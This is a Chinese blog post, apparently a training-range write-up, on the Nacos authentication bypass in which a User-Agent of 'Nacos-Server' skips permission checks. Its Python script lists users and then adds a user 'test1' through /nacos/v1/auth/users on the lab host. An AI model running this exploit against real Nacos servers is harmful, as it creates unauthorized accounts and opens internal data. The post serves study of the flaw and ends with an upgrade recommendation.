无聊刷微信朋友圈,看到老师和70师傅发的靶场上新了,这不得尝试一下,打开靶场看到是一个提示nacos未授权访问
 

图片


开始学习,
漏洞成因:该漏洞是由于在com.alibaba.nacos.core.auth.AuthFilter#doFilter中在处理服务间通信时存在默认鉴权白名单导致,代码在解析请求时,会判断User-Agent值,若是以Nacos-Server字符串开头,则会跳过后续权限校验流程。攻击者可通过利用该漏洞发送特殊数据绕过身份认证,从而调用任何接口,获取内部数据或添加任意用户,进一步利用甚至可能执行恶意代码。
 

图片


测试方法,千遍一律的抓包,就缩略描述一下,5通过拼接路径;/nacos/v1/auth/users?pageNo=1&pageSize=1,我们验证了一个漏洞存在(这是个靶场,,写这个多次一举),对其进行抓包放入重放模块后,修改为post模式(一定要修改!!!!)将我们想要添加的用户作为拼接到我们的URl,将UA修改为Nacos-Server,data为pageNo=1&pageSize=9,去完成漏洞利用
了解了成因,了解了测试方法,本人为了偷懒不去抓包,就去编写脚本开始帮我吧,嘿嘿嘿

import requests

target_url = "http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users?pageNo=1&pageSize=9"

# 发送GET请求,验证漏洞存在
response = requests.get(target_url)
if response.status_code == 200:
    print("漏洞存在")
    print("响应内容:", response.text)

# 准备POST请求参数
post_url = "http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users?username=test1&password=test1"
headers = {
    "User-Agent": "Nacos-Server"
}
data = {
    "pageNo": "1",
    "pageSize": "9"
}
# 发送POST请求,添加用户
response = requests.post(post_url, headers=headers, data=data)
if response.status_code == 200:
    print("用户添加成功")

# 验证添加的用户是否生效
response = requests.get(target_url)
if "test" in response.text:
    print("响应内容:",response.text)

写完脚本测试一下吧
 

图片


进网页验证一下吧
 

图片


复现成功,完美

漏洞修复建议:使用最新版本的nacos

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

GitHub 加速计划 / na / nacos
29.83 K
12.75 K
下载
Nacos是由阿里巴巴开源的服务治理中间件,集成了动态服务发现、配置管理和服务元数据管理功能,广泛应用于微服务架构中,简化服务治理过程。
最近提交(Master分支:3 个月前 )
4334cd16 * Support custom client configuration timeout.(#12748) * Add UT.(#12748) 9 天前
b04d2266 13 天前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐